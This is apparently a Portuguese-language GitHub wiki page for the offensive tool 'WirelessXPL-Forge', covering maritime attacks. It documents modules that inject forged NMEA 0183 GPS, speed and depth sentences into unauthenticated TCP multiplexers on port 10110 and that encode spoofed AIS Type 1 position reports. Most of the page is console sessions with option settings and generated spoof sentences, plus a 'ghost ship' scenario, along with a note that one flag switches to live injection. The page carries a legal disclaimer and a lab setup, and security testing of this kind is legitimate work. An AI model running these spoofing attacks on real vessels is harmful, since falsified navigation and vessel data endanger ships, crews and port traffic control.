Skip to content

Seguranca Maritima

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: Maritime-Security

Segurança Marítima

Aviso Legal: Spoofing de AIS e NMEA no mar é ilegal sob a SOLAS e a legislação marítima em todas as jurisdições. Cria riscos de segurança à navegação e constitui crime sob os regulamentos da IMO. Utilize somente em ambientes de laboratório autorizados, câmaras RF fechadas, ou em avaliações de segurança marítima com permissão escrita explícita dos proprietários da embarcação e das autoridades portuárias competentes.


Referência de Módulos

Módulo Descrição
nmea_spoof Injeção de sentenças NMEA 0183 GPS/navegação (multiplexador TCP)
ais_spoof Spoofing de relatório de posição de embarcação AIS com codificação de bits Tipo 1

Visão Geral do NMEA 0183

O NMEA 0183 é o protocolo serial padrão para instrumentos de navegação marinha. Transporta posição GPS, rumo, velocidade, profundidade, vento e outros dados de sensores entre plotters de cartas, pilotos automáticos, rádios VHF e transponders AIS.

A maioria dos multiplexadores NMEA (SeaTalk, gateways NMEA 2000, servidores SignalK) aceita conexões TCP na porta 10110 sem autenticação. Um atacante com acesso à rede ou WiFi da embarcação pode injetar sentenças NMEA arbitrárias.

Estrutura de Sentença NMEA

$GPGGA,hhmmss.ss,LLLL.LL,a,YYYYY.YY,a,x,xx,x.x,x.x,M,x.x,M,x.x,xxxx*hh<CR><LF>
  • $GP = prefixo de fonte GPS
  • GGA = Dados de Fix do Sistema de Posicionamento Global
  • Campos: hora, latitude, N/S, longitude, L/O, qualidade do fix, satélites, HDOP, altitude...
  • *hh = checksum NMEA (XOR de todos os bytes entre $ e *)

Spoofing NMEA

wxf > use generic/maritime/nmea_spoof
wxf (NMEASpoof) > show options

Options:
  TARGET_HOST  127.0.0.1    Host TCP para o multiplexador NMEA
  TARGET_PORT  10110        Porta TCP para o multiplexador NMEA
  LAT          0.000000     Latitude falsificada (graus decimais, N positivo)
  LON          0.000000     Longitude falsificada (graus decimais, L positivo)
  SPEED_KN     0.0          Velocidade sobre o fundo falsificada em nós
  HEADING      0.0          Rumo verdadeiro falsificado em graus
  DEPTH_M      10.0         Profundidade da água falsificada em metros
  RATE_HZ      1            Sentenças por segundo
  SIMULATE     true         Simulação - exibir sentenças sem enviar

wxf (NMEASpoof) > set TARGET_HOST 192.168.1.100
wxf (NMEASpoof) > set TARGET_PORT 10110
wxf (NMEASpoof) > set LAT 1.264
wxf (NMEASpoof) > set LON 103.826
wxf (NMEASpoof) > set SPEED_KN 0.0
wxf (NMEASpoof) > set SIMULATE true
wxf (NMEASpoof) > run

[SIMULATE] NMEA sentences to inject at 1 Hz:

[SIMULATE] $GPGGA,083000.00,0115.840,N,10349.560,E,1,08,1.0,10.0,M,0.0,M,,*49
           GGA: pos=(1.264N, 103.826E) alt=10m fix=GPS sats=8

[SIMULATE] $GPGLL,0115.840,N,10349.560,E,083000.00,A,A*6E
           GLL: lat/lon confirmado ativo

[SIMULATE] $GPVTG,0.0,T,0.0,M,0.0,N,0.0,K,A*23
           VTG: speed=0.0kn heading=0.0

[SIMULATE] $GPRMC,083000.00,A,0115.840,N,10349.560,E,0.0,0.0,080626,0.0,E,A*37
           RMC: dados mínimos recomendados

[SIMULATE] $SDDPT,10.0,0.0*53
           DPT: depth=10.0m offset=0.0m

[!] Set SIMULATE=false to inject live into TCP:192.168.1.100:10110
[!] PREREQ: Network access to ship NMEA multiplexer (WiFi, Ethernet, or serial gateway)

Spoofing AIS

O AIS (Automatic Identification System) é um sistema de transmissão VHF utilizado por embarcações para anunciar posição, identidade, velocidade e rumo a outros navios e estações em terra. Opera nos canais VHF 87B (161,975 MHz) e 88B (162,025 MHz).

Tipos de Mensagem AIS

Tipo Descrição Notas
1 Relatório de Posição Classe A Embarcações grandes, exigido pela SOLAS
2 Relatório de Posição Classe A (atribuído) Similar ao Tipo 1
3 Relatório de Posição Classe A (resposta) Similar ao Tipo 1
4 Relatório de Estação Base AIS em terra
5 Dados Estáticos e de Viagem Nome da embarcação, destino, ETA
14 Transmissão de Segurança Mensagem de segurança em texto livre
18 Relatório de Posição Classe B Embarcações menores
21 Relatório de Auxílio à Navegação Faróis, balizas

Spoofing AIS

wxf > use generic/maritime/ais_spoof
wxf (AISSpoofAttack) > show options

Options:
  TARGET_HOST  127.0.0.1  Host TCP do multiplexador AIS
  TARGET_PORT  10110      Porta TCP do multiplexador AIS
  MMSI         123456789  Maritime Mobile Service Identity (9 dígitos)
  VESSEL_NAME  PHANTOM    Nome da embarcação (máx 20 caracteres, maiúsculas)
  LAT          0.000000   Latitude da posição (graus decimais)
  LON          0.000000   Longitude da posição (graus decimais)
  SPEED_KN     0.0        Velocidade sobre o fundo em nós (resolução 0.1)
  COURSE       0.0        Rumo sobre o fundo em graus
  HEADING      511        Rumo verdadeiro (511 = não disponível)
  NAV_STATUS   0          Status de navegação (0=em movimento, 1=fundeado, 5=atracado)
  MSG_TYPE     1          Tipo de mensagem AIS (1/2/3 = posição Classe A)
  RATE_HZ      0.33       Taxa de transmissão (padrão AIS: 1/3 Hz)
  SIMULATE     true       Simulação - exibir sentença codificada sem enviar

wxf (AISSpoofAttack) > set TARGET_HOST 192.168.1.100
wxf (AISSpoofAttack) > set TARGET_PORT 10110
wxf (AISSpoofAttack) > set MMSI 123456789
wxf (AISSpoofAttack) > set VESSEL_NAME PHANTOM
wxf (AISSpoofAttack) > set LAT 1.264
wxf (AISSpoofAttack) > set LON 103.826
wxf (AISSpoofAttack) > set SPEED_KN 12.0
wxf (AISSpoofAttack) > set COURSE 90.0
wxf (AISSpoofAttack) > set SIMULATE true
wxf (AISSpoofAttack) > run

[SIMULATE] AIS Type 1 (Class A Position Report)
[SIMULATE]   MMSI:     123456789
[SIMULATE]   Vessel:   PHANTOM
[SIMULATE]   Position: 1.264000N / 103.826000E
[SIMULATE]   Speed:    12.0 kn | Course: 90.0 deg | Heading: N/A
[SIMULATE]   Nav:      0 (underway using engine)

[SIMULATE] AIS bit encoding (168 bits):
[SIMULATE]   msg_type=1 repeat=0 mmsi=123456789 status=0
[SIMULATE]   rot=128 sog=120 accuracy=0 lon=10382600 lat=126400
[SIMULATE]   cog=900 hdg=511 timestamp=60 maneuver=0 spare=0 raim=0 radio=0

[SIMULATE] NMEA sentence:
[SIMULATE]   !AIVDM,1,1,,A,15NNhV0P00G?Uf6E4lFh23oP0000,0*5B
[SIMULATE]   VDM: VHF Data-link Message (received from vessel)

[!] Set SIMULATE=false to inject into TCP:192.168.1.100:10110
[!] AIS spoofing is a maritime criminal offense under IMO and SOLAS
[!] PREREQ: Network access to ship AIS multiplexer (OpenCPN, deckman, etc.)
[!] NOTE: RF transmission requires SDR + VHF antenna - not implemented here

Cenários de Ataque

Cenário 1: Criação de Navio Fantasma

Cria uma embarcação fantasma no AIS que aparece em outros navios e no radar em terra. Pode ser utilizado para testar respostas do VTS (Vessel Traffic Service) e validação de receptores AIS.

wxf > use generic/maritime/ais_spoof
wxf (AISSpoofAttack) > set VESSEL_NAME GHOST_SHIP_TEST
wxf (AISSpoofAttack) > set MMSI 999000001
wxf (AISSpoofAttack) > set LAT -23.9617
wxf (AISSpoofAttack) > set LON -46.3333
wxf (AISSpoofAttack) > set SPEED_KN 5.0
wxf (AISSpoofAttack) > set COURSE 180.0
wxf (AISSpoofAttack) > set NAV_STATUS 0
wxf (AISSpoofAttack) > set SIMULATE true
wxf (AISSpoofAttack) > run

Cenário 2: Teste de Discrepância de Posição GPS

Injeta uma posição via NMEA que difere da posição GPS real da embarcação para testar failover do plotter de cartas e validação cruzada entre sensores.

wxf > use generic/maritime/nmea_spoof
wxf (NMEASpoof) > set LAT -23.9617
wxf (NMEASpoof) > set LON -46.3333
wxf (NMEASpoof) > set SIMULATE true
wxf (NMEASpoof) > run

Configuração de Laboratório

Servidor SignalK (multiplexador de software)

# Instalar SignalK
npm install -g @signalk/server

# Iniciar com entrada TCP NMEA na porta 10110
signalk-server --listen 10110 --port 3000

# O WXF pode agora injetar em localhost:10110

Plotter de Cartas OpenCPN

O OpenCPN é um plotter de cartas gratuito. Configure uma conexão de dados de rede (cliente TCP, porta 10110) para receber sentenças NMEA/AIS injetadas em tempo real.


Páginas relacionadas: Segurança de Drones | Ataques Sub-GHz | Evidências e Forense


Autor: André Henrique (@mrhenrike) | União Geek

WirelessXPL-Forge v1.8.0

Home-pt-BR | Home


Português (pt-BR)

Primeiros Passos

Ataques Wireless

Drones e UAV

Protocolos Especializados

Ferramentas de Pentest

Hardware

Clone this wiki locally